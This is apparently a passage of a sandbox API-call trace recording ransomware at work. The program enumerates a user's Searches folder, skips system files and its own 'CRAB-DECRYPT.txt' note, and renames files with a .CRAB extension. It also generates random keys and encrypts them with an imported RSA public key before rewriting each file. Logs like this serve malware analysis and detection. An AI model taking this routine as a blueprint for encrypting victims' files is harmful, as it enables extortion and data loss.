	[0133.961] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0133.961] FindNextFileW (in: hFindFile=0x3249470, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.962] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0133.962] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0133.962] FindNextFileW (in: hFindFile=0x3249470, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.962] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0133.962] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0133.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\CRAB-DECRYPT.txt"
	[0133.962] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.962] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\CRAB-DECRYPT.txt") returned 47
	[0133.962] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Searches\\CRAB-DECRYPT.txt") returned 47
	[0133.962] lstrlenW (lpString=".txt") returned 4
	[0133.962] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.962] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0133.963] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.963] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Searches\\CRAB-DECRYPT.txt") returned 47
	[0133.963] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Searches\\CRAB-DECRYPT.txt") returned 47
	[0133.963] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0133.963] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0133.963] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0133.963] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0133.963] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0133.966] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0133.966] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0133.966] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0133.966] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0133.966] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.966] FindNextFileW (in: hFindFile=0x3249470, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.966] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0133.966] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0133.966] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\desktop.ini"
	[0133.967] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.967] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\desktop.ini") returned 42
	[0133.967] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Searches\\desktop.ini") returned 42
	[0133.967] lstrlenW (lpString=".ini") returned 4
	[0133.967] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.967] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0133.967] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.967] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Searches\\desktop.ini") returned 42
	[0133.968] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Searches\\desktop.ini") returned 42
	[0133.968] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0133.968] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.968] FindNextFileW (in: hFindFile=0x3249470, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.968] lstrcmpW (lpString1="Everywhere.search-ms", lpString2=".") returned 1
	[0133.968] lstrcmpW (lpString1="Everywhere.search-ms", lpString2="..") returned 1
	[0133.968] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\", lpString2="Everywhere.search-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms"
	[0133.968] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.968] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms") returned 51
	[0133.968] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms") returned 51
	[0133.968] lstrlenW (lpString=".search-ms") returned 10
	[0133.968] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.969] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".search-ms ") returned 11
	[0133.969] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.969] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms") returned 51
	[0133.969] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms") returned 51
	[0133.969] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="desktop.ini") returned 1
	[0133.969] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="autorun.inf") returned 1
	[0133.969] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="ntuser.dat") returned -1
	[0133.969] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="iconcache.db") returned -1
	[0133.969] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="bootsect.bak") returned 1
	[0133.969] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="boot.ini") returned 1
	[0133.969] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="ntuser.dat.log") returned -1
	[0133.969] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="thumbs.db") returned -1
	[0133.969] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.969] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.970] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms.CRAB") returned 56
	[0133.970] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\everywhere.search-ms")) returned 0x23
	[0133.970] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms", dwFileAttributes=0x22) returned 1
	[0133.970] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\everywhere.search-ms"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\everywhere.search-ms.crab")) returned 1
	[0133.971] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.971] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms.CRAB"
	[0133.972] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms.CRAB.CRAB"
	[0133.972] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0133.973] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.973] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.973] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.973] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0133.973] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.974] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.974] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0133.975] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.975] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.975] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.975] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0133.976] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0133.976] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.976] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.976] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.976] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e738) returned 1
	[0133.978] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3248db0) returned 1
	[0133.978] CryptGetKeyParam (in: hKey=0x3248db0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.978] CryptEncrypt (in: hKey=0x3248db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0133.978] GetLastError () returned 0x0
	[0133.978] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0133.978] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e9e0) returned 1
	[0133.980] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32493b0) returned 1
	[0133.980] CryptGetKeyParam (in: hKey=0x32493b0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.980] CryptEncrypt (in: hKey=0x32493b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0133.980] GetLastError () returned 0x0
	[0133.980] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0133.980] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\everywhere.search-ms.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0133.980] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.981] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0133.981] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0xf8, lpOverlapped=0x0) returned 1
	[0133.993] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.994] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0133.994] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.994] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffff08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.994] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.994] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.995] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.998] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.999] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.016] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.016] CloseHandle (hObject=0x3e8) returned 1
	[0134.016] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.017] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.017] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.017] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.017] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.018] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.018] FindNextFileW (in: hFindFile=0x3249470, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.018] lstrcmpW (lpString1="Indexed Locations.search-ms", lpString2=".") returned 1
	[0134.018] lstrcmpW (lpString1="Indexed Locations.search-ms", lpString2="..") returned 1
	[0134.018] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\", lpString2="Indexed Locations.search-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms"
	[0134.018] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.018] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms") returned 58
	[0134.018] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms") returned 58
	[0134.018] lstrlenW (lpString=".search-ms") returned 10
	[0134.018] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.019] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".search-ms ") returned 11
	[0134.019] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.019] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms") returned 58
	[0134.019] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms") returned 58
	[0134.019] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="desktop.ini") returned 1
	[0134.019] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="autorun.inf") returned 1
	[0134.019] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="ntuser.dat") returned -1
	[0134.019] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="iconcache.db") returned 1
	[0134.019] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="bootsect.bak") returned 1
	[0134.019] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="boot.ini") returned 1
	[0134.019] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="ntuser.dat.log") returned -1
	[0134.019] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="thumbs.db") returned -1
	[0134.019] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.019] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.020] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms.CRAB") returned 63
	[0134.020] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\indexed locations.search-ms")) returned 0x23
	[0134.020] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms", dwFileAttributes=0x22) returned 1
	[0134.020] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\indexed locations.search-ms"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\indexed locations.search-ms.crab")) returned 1
	[0134.021] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.021] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms.CRAB"
	[0134.022] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms.CRAB.CRAB"
	[0134.022] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0134.023] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.023] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.023] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.023] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0134.023] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.023] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.024] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0134.025] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.025] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.026] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.026] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0134.026] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.026] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.026] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.026] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.027] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0134.028] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32491b0) returned 1
	[0134.028] CryptGetKeyParam (in: hKey=0x32491b0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.028] CryptEncrypt (in: hKey=0x32491b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0134.028] GetLastError () returned 0x0
	[0134.028] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.028] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e9e0) returned 1
	[0134.032] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3248ef0) returned 1
	[0134.032] CryptGetKeyParam (in: hKey=0x3248ef0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.032] CryptEncrypt (in: hKey=0x3248ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0134.033] GetLastError () returned 0x0
	[0134.033] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0134.033] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\indexed locations.search-ms.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0134.033] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.033] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.034] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0xf8, lpOverlapped=0x0) returned 1
	[0134.054] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.055] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.055] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.055] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffff08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.055] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.055] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.056] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.059] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.060] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.061] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.061] CloseHandle (hObject=0x3e8) returned 1
	[0134.061] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.061] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.061] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.062] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.062] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.062] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.062] FindNextFileW (in: hFindFile=0x3249470, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
